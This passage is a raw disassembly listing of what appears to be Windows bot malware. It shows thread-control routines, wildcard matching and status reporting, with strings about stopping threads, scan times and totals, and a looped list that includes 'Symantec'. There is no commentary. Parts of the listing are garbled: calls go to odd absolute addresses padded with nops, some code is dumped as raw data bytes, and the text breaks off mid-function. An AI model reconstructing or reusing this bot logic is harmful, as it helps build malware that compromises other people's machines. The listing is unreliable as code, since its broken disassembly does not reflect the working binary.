dword_43E59C[esi] mov byte ptr dword_43E390[esi], bl mov byte_43E5A8[esi], bl push dword ptr [edi] call dword_4CB6EC lea esi, dword_43E5A0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB6EC mov [esi], ebx pop edi loc_40B2BA: ; CODE XREF: sub_40B232+Dj ; sub_40B232+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B232 endp ; =============== S U B R O U T I N E ======================================= sub_40B2C0 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E390 loc_40B2CC: ; CODE XREF: sub_40B2C0+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DD push edi call sub_40B232 test eax, eax pop ecx jz short loc_40B2DD inc ebx loc_40B2DD: ; CODE XREF: sub_40B2C0+Fj ; sub_40B2C0+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB390 jl short loc_40B2CC pop edi mov eax, ebx pop esi pop ebx retn sub_40B2C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F2 proc near ; CODE XREF: sub_401ACD+418Fp ; sub_401ACD+42E1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E594 loc_40B306: ; CODE XREF: sub_40B2F2+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B328 test edi, edi jle short loc_40B31A cmp [esi], edi jz short loc_40B31A cmp ebx, edi jnz short loc_40B328 loc_40B31A: ; CODE XREF: sub_40B2F2+1Ej ; sub_40B2F2+22j push ebx call sub_40B232 test eax, eax pop ecx jz short loc_40B328 inc [ebp+var_4] loc_40B328: ; CODE XREF: sub_40B2F2+1Aj ; sub_40B2F2+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB594 jl short loc_40B306 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F2 endp ; =============== S U B R O U T I N E ======================================= sub_40B33F proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E590 loc_40B346: ; CODE XREF: sub_40B33F+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34F inc eax loc_40B34F: ; CODE XREF: sub_40B33F+Dj add ecx, 234h cmp ecx, offset dword_4CB590 jl short loc_40B346 retn sub_40B33F endp ; =============== S U B R O U T I N E ======================================= sub_40B35E proc near ; CODE XREF: sub_401ACD+2434p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E590 loc_40B368: ; CODE XREF: sub_40B35E+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B381 add ecx, 234h inc edx cmp ecx, offset dword_4CB590 jl short loc_40B368 pop esi retn ; --------------------------------------------------------------------------- loc_40B381: ; CODE XREF: sub_40B35E+10j mov eax, edx pop esi retn sub_40B35E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B385 proc near ; CODE XREF: sub_401ACD+1067p ; sub_401ACD+126Dp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39E push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39E: ; CODE XREF: sub_40B385+Ej push eax push [ebp+arg_18] call sub_40B2F2 pop ecx test eax, eax pop ecx jle short loc_40B3CA push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E4 ; --------------------------------------------------------------------------- loc_40B3CA: ; CODE XREF: sub_40B385+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E4: ; CODE XREF: sub_40B385+43j cmp [ebp+arg_C], 0 jnz short loc_40B404 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_40B404: ; CODE XREF: sub_40B385+63j lea eax, [ebp+var_200] push eax call sub_4151AD pop ecx leave retn sub_40B385 endp ; =============== S U B R O U T I N E ======================================= sub_40B413 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA48p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E5A4[eax], ecx mov dword_43E590[eax], ecx mov dword_43E594[eax], ecx mov dword_43E598[eax], ecx mov dword_43E59C[eax], ecx mov dword_43E5A0[eax], ecx mov byte ptr dword_43E390[eax], cl mov byte_43E5A8[eax], cl retn sub_40B413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B450 proc near ; CODE XREF: sub_401ACD+7E3Cp ; sub_40B57E+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B45A: ; CODE XREF: sub_40B450+68j mov cl, [esi] test cl, cl jz short loc_40B4BA cmp eax, 1 jnz short loc_40B4BA mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4BA cmp cl, 2Ah jz short loc_40B4A1 cmp cl, 3Fh jz short loc_40B484 cmp cl, 5Bh jz short loc_40B489 xor eax, eax cmp cl, dl setz al loc_40B484: ; CODE XREF: sub_40B450+26j inc [ebp+arg_4] jmp short loc_40B4B4 ; --------------------------------------------------------------------------- loc_40B489: ; CODE XREF: sub_40B450+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E6 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B4 ; --------------------------------------------------------------------------- loc_40B4A1: ; CODE XREF: sub_40B450+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57E mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B4: ; CODE XREF: sub_40B450+37j ; sub_40B450+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B45A ; --------------------------------------------------------------------------- loc_40B4BA: ; CODE XREF: sub_40B450+Ej ; sub_40B450+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4CA cmp eax, 1 jnz short loc_40B4E1 inc esi mov [ebp+arg_0], esi jmp short loc_40B4BA ; --------------------------------------------------------------------------- loc_40B4CA: ; CODE XREF: sub_40B450+6Dj cmp eax, 1 jnz short loc_40B4E1 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E1 cmp byte ptr [esi], 0 jnz short loc_40B4E1 push 1 pop eax jmp short loc_40B4E3 ; --------------------------------------------------------------------------- loc_40B4E1: ; CODE XREF: sub_40B450+72j ; sub_40B450+7Dj ... xor eax, eax loc_40B4E3: ; CODE XREF: sub_40B450+8Fj pop esi pop ebp retn sub_40B450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E6 proc near ; CODE XREF: sub_40B450+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B507 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B507: ; CODE XREF: sub_40B4E6+19j push ebx push esi loc_40B509: ; CODE XREF: sub_40B4E6+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B517 cmp [ebp+var_4], eax jnz short loc_40B563 loc_40B517: ; CODE XREF: sub_40B4E6+2Aj test edi, edi jnz short loc_40B558 cmp bl, 2Dh jnz short loc_40B54C mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54C cmp al, 5Dh jz short loc_40B54C cmp [ebp+var_4], edi jnz short loc_40B54C mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B558 cmp bl, al jg short loc_40B558 push 1 mov [edx], esi pop edi jmp short loc_40B558 ; --------------------------------------------------------------------------- loc_40B54C: ; CODE XREF: sub_40B4E6+38j ; sub_40B4E6+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B558 push 1 pop edi loc_40B558: ; CODE XREF: sub_40B4E6+33j ; sub_40B4E6+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B509 ; --------------------------------------------------------------------------- loc_40B563: ; CODE XREF: sub_40B4E6+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B570 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B570: ; CODE XREF: sub_40B4E6+82j cmp edi, eax jnz short loc_40B579 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B579: ; CODE XREF: sub_40B4E6+8Cj mov eax, edi pop edi leave retn sub_40B4E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57E proc near ; CODE XREF: sub_40B450+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B59A: ; CODE XREF: sub_40B57E+3Aj cmp [eax], bl jz short loc_40B5BA mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AF cmp cl, 2Ah jnz short loc_40B5BA cmp cl, 3Fh jnz short loc_40B5B2 loc_40B5AF: ; CODE XREF: sub_40B57E+25j inc eax mov [edi], eax loc_40B5B2: ; CODE XREF: sub_40B57E+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B59A ; --------------------------------------------------------------------------- loc_40B5BA: ; CODE XREF: sub_40B57E+1Ej ; sub_40B57E+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C5 inc dword ptr [esi] jmp short loc_40B5BA ; --------------------------------------------------------------------------- loc_40B5C5: ; CODE XREF: sub_40B57E+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E6 mov edx, [esi] cmp [edx], bl jz short loc_40B5D7 xor eax, eax jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B5D7: ; CODE XREF: sub_40B57E+53j cmp cl, bl jnz short loc_40B5E6 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E6 push 1 pop eax jmp short loc_40B646 ; --------------------------------------------------------------------------- loc_40B5E6: ; CODE XREF: sub_40B57E+4Dj ; sub_40B57E+5Bj ... push eax push dword ptr [esi] call sub_40B450 pop ecx test eax, eax pop ecx jnz short loc_40B630 loc_40B5F4: ; CODE XREF: sub_40B57E+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F8: ; CODE XREF: sub_40B57E+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B610 cmp cl, 5Bh jz short loc_40B610 cmp dl, bl jz short loc_40B610 inc eax mov [edi], eax jmp short loc_40B5F8 ; --------------------------------------------------------------------------- loc_40B610: ; CODE XREF: sub_40B57E+82j ; sub_40B57E+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B627 push eax push dword ptr [esi] call sub_40B450 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B627: ; CODE XREF: sub_40B57E+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62C: ; CODE XREF: sub_40B57E+A7j cmp eax, ebx jnz short loc_40B5F4 loc_40B630: ; CODE XREF: sub_40B57E+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B643 mov eax, [esi] cmp [eax], bl jnz short loc_40B643 mov [ebp+var_4], 1 loc_40B643: ; CODE XREF: sub_40B57E+B6j ; sub_40B57E+BCj mov eax, [ebp+var_4] loc_40B646: ; CODE XREF: sub_40B57E+57j ; sub_40B57E+66j pop edi pop esi pop ebx leave retn sub_40B57E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64B proc near ; CODE XREF: sub_401ACD+2AF6p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431E9C push eax xor ebx, ebx call sub_41B886 cmp dword_431B00, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BD push esi mov esi, offset dword_431B08 loc_40B67E: ; CODE XREF: sub_40B64B+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B3 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431E90 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B3: ; CODE XREF: sub_40B64B+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67E pop esi loc_40B6BD: ; CODE XREF: sub_40B64B+2Bj push dword_4CB394 call sub_41A88C pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 34h pop edi pop ebx leave retn sub_40B64B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B71A proc near ; CODE XREF: sub_401ACD+2AE0p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE160 mov ecx, dword_4CE15C push esi push dword_4CB394 lea esi, [ecx+eax] call sub_41A88C pop ecx push eax push esi push dword_4CE160 lea eax, [ebp+var_200] push dword_4CE15C push offset unk_431EBC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 30h pop esi leave retn sub_40B71A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B786 proc near ; CODE XREF: sub_401ACD+2ACAp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB394 call sub_41A88C pop ecx push eax lea eax, [ebp+var_200] push dword_4CE3A4 push offset unk_431F04 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 28h leave retn sub_40B786 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DB proc near ; CODE XREF: sub_401ACD+2AB4p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431F50 push eax call sub_41B886 cmp dword_431B00, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B847 push esi mov esi, offset aSymantec ; "Symantec" loc_40B810: ; CODE XREF: sub_40B7DB+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431F40 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B810 pop esi loc_40B847: ; CODE XREF: sub_40B7DB+2Dj push dword_4CB394 call sub_41A88C pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_800] push eax call sub_4151AD add esp, 30h pop edi leave retn sub_40B7DB endp ; --------------------------------------------------------------------------- word_40B8A2 dw 8B55h ; DATA XREF: sub_401ACD+30E1o dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h, 0BD8D59F0h dd 0FFFFFECCh, 80C7A5F3h, 128h, 1, 0FECC858Dh, 0FF50FFFFh dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h dd 840F087Dh, 118h, 431B00BBh db 0, 8Bh, 0C3h ; --------------------------------------------------------------------------- loc_40B8F3: ; CODE XREF: ___:0040B9FEj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C088 add esp, 0Ch cmp eax, 1 jnz loc_40B9F4 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431FA0 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A73 lea eax, [ebp-3F0h] push eax call sub_4151AD add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98F lea eax, [ebp-124h] loc_40B98F: ; CODE XREF: ___:0040B987j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F4: ; CODE XREF: ___:0040B906j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F3 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431F6C push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A73 lea eax, [ebp-3F0h] push eax call sub_4151AD push dword ptr [ebp-18h] call sub_40B413 add esp, 2Ch push edi ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h db 2Dh, 2, 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA57 proc near ; CODE XREF: sub_401ACD+244Fp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33F test eax, eax pop ecx jle short loc_40BA93 mov eax, [ebp+arg_C] push dword_4CB7A0[eax*8] call dword_4CB6E0 push eax lea eax, [ebp+var_200] push offset unk_431FF0 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA6 ; --------------------------------------------------------------------------- loc_40BA93: ; CODE XREF: sub_40BA57+13j lea eax, [ebp+var_200] push offset unk_431FD0 push eax call sub_41B886 pop ecx pop ecx loc_40BAA6: ; CODE XREF: sub_40BA57+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_200] push eax call sub_4151AD add esp, 18h leave retn sub_40BA57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACE proc near ; CODE XREF: sub_40C125+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BFA0 shl eax, 6 xor ebx, ebx cmp dword_431B0C[eax], ebx jz loc_40BFA0 push 5 call sub_40B33F test eax, eax pop ecx jnz loc_40BD55 mov eax, dword_429078 push edi mov esi, offset dword_4CD85C push 104h push esi push ebx mov dword_4CDA6C, eax mov dword_4CDA68, ebx call near ptr 2670000h nop mov edi, offset byte_42910C push 103h push edi push offset dword_4CD960 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD858, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDAF0, eax jnz short loc_40BB81 lea eax, [ebp+arg_10] push eax push offset dword_4CDA70 call sub_41B5F0 add esp, 0Ch mov dword_4CDAF4, 1 jmp short loc_40BB9B ; --------------------------------------------------------------------------- loc_40BB81: ; CODE XREF: sub_40BACE+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDA70 call sub_41B5F0 add esp, 0Ch mov dword_4CDAF4, ebx loc_40BB9B: ; CODE XREF: sub_40BACE+B1j push esi lea eax, [ebp+var_204] push dword_4CDA6C push offset unk_42C558 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F7 add esp, 1Ch mov dword_4CDA64, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD858 push offset byte_411797 push ebx push ebx nop call near ptr 2680098h mov ecx, dword_4CDA64 imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BC09 loc_40BBF7: ; CODE XREF: sub_40BACE+139j cmp dword_4CDAF8, ebx jnz short loc_40BC24 push 32h nop call near ptr 2680000h jmp short loc_40BBF7 ; --------------------------------------------------------------------------- loc_40BC09: ; CODE XREF: sub_40BACE+127j call near ptr 2680ABEh nop push eax lea eax, [ebp+var_204] push offset unk_432110 push eax call sub_41B886 add esp, 0Ch loc_40BC24: ; CODE XREF: sub_40BACE+12Fj lea eax, [ebp+var_204] push eax call sub_4151AD mov eax, dword_4CB390 mov esi, offset dword_4CDB04 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CDD14, eax mov dword_4CDD10, ebx call near ptr 2670000h nop push 103h push edi push offset dword_4CDC08 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDB00, eax mov eax, [ebp+arg_138] pop edi mov dword_4CDD98, eax push 7Fh jnz short loc_40BCA5 lea eax, [ebp+arg_10] push eax push offset dword_4CDD18 call sub_41B5F0 add esp, 0Ch mov dword_4CDD9C, 1 jmp short loc_40BCBF ; --------------------------------------------------------------------------- loc_40BCA5: ; CODE XREF: sub_40BACE+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CDD18 call sub_41B5F0 add esp, 0Ch mov dword_4CDD9C, ebx loc_40BCBF: ; CODE XREF: sub_40BACE+1D5j push esi lea eax, [ebp+var_204] push dword_4CDD14 push offset unk_4320DC push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F7 add esp, 1Ch mov dword_4CDD0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB00 push offset word_40E992 push ebx push ebx nop call near ptr 2680098h mov ecx, dword_4CDD0C imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BD2D loc_40BD1B: ; CODE XREF: sub_40BACE+25Dj cmp dword_4CDDA0, ebx jnz short loc_40BD48 push 32h nop call near ptr 2680000h jmp short loc_40BD1B ; --------------------------------------------------------------------------- loc_40BD2D: ; CODE XREF: sub_40BACE+24Bj nop call near ptr 2680ABEh push eax lea eax, [ebp+var_204] push offset unk_4320A8 push eax call sub_41B886 add esp, 0Ch loc_40BD48: ; CODE XREF: sub_40BACE+253j lea eax, [ebp+var_204] push eax call sub_4151AD pop ecx loc_40BD55: ; CODE XREF: sub_40BACE+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431B14[ecx], ebx jz loc_40BE7E push 7 call sub_40B33F test eax, eax pop ecx jnz loc_40BE78 mov eax, dword_4CE39C cmp [ebp+arg_90], bl mov dword_4CD7C4, eax mov eax, [ebp+arg_110] mov dword_4CD7B8, eax mov eax, [ebp+arg_138] mov dword_4CD7C0, ebx mov dword_4CD848, eax push 7Fh jnz short loc_40BDC9 lea eax, [ebp+arg_10] push eax push offset dword_4CD7C8 call sub_41B5F0 add esp, 0Ch mov dword_4CD84C, 1 jmp short loc_40BDE3 ; --------------------------------------------------------------------------- loc_40BDC9: ; CODE XREF: sub_40BACE+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD7C8 call sub_41B5F0 add esp, 0Ch mov dword_4CD84C, ebx loc_40BDE3: ; CODE XREF: sub_40BACE+2F9j push dword_4CD7C4 lea eax, [ebp+var_204] push offset unk_432078 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F7 add esp, 18h mov dword_4CD7BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD7B8 push offset dword_40E6F0 push ebx push ebx nop call near ptr 2680098h mov ecx, dword_4CD7BC imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BE50 loc_40BE3E: ; CODE XREF: sub_40BACE+380j cmp dword_4CD850, ebx jnz short loc_40BE6B push 32h call near ptr 2680000h nop jmp short loc_40BE3E ; --------------------------------------------------------------------------- loc_40BE50: ; CODE XREF: sub_40BACE+36Ej nop call near ptr 2680ABEh push eax lea eax, [ebp+var_204] push offset unk_432040 push eax call sub_41B886 add esp, 0Ch loc_40BE6B: ; CODE XREF: sub_40BACE+376j lea eax, [ebp+var_204] push eax call sub_4151AD pop ecx loc_40BE78: ; CODE XREF: sub_40BACE+2A8j mov eax, [ebp+arg_130] loc_40BE7E: ; CODE XREF: sub_40BACE+298j shl eax, 6 cmp dword_431B10[eax], ebx jz loc_40BFA0 push 3 call sub_40B33F test eax, eax pop ecx jnz loc_40BFA0 mov esi, offset dword_4CE034 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBF mov [eax], bl loc_40BEBF: ; CODE XREF: sub_40BACE+3EDj mov eax, dword_42907C mov dword_4CE14C, ebx mov dword_4CE138, eax lea eax, [ebp+arg_10] push eax push offset dword_4CDDAC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CDDA8, eax mov ecx, [ebp+arg_138] push esi push dword_4CE138 mov dword_4CE144, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE148, ecx call sub_40AC10 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C4E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F7 add esp, 20h mov dword_4CE140, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDDA8 push offset sub_40F0D6 push ebx push ebx call near ptr 2680098h nop mov ecx, dword_4CE140 imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40BF78 loc_40BF66: ; CODE XREF: sub_40BACE+4A8j cmp dword_4CE154, ebx jnz short loc_40BF93 push 32h call near ptr 2680000h nop jmp short loc_40BF66 ; --------------------------------------------------------------------------- loc_40BF78: ; CODE XREF: sub_40BACE+496j call near ptr 2680ABEh nop push eax lea eax, [ebp+var_204] push offset unk_43200C push eax call sub_41B886 add esp, 0Ch loc_40BF93: ; CODE XREF: sub_40BACE+49Ej lea eax, [ebp+var_204] push eax call sub_4151AD pop ecx loc_40BFA0: ; CODE XREF: sub_40BACE+14j ; sub_40BACE+25j ... pop esi pop ebx leave retn sub_40BACE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA4 proc near ; CODE XREF: sub_40C125:loc_40C196p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB7A0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CB57C inc eax push eax mov [ebp+arg_0], eax call dword_4CB650 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEC proc near ; CODE XREF: sub_40C125+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, 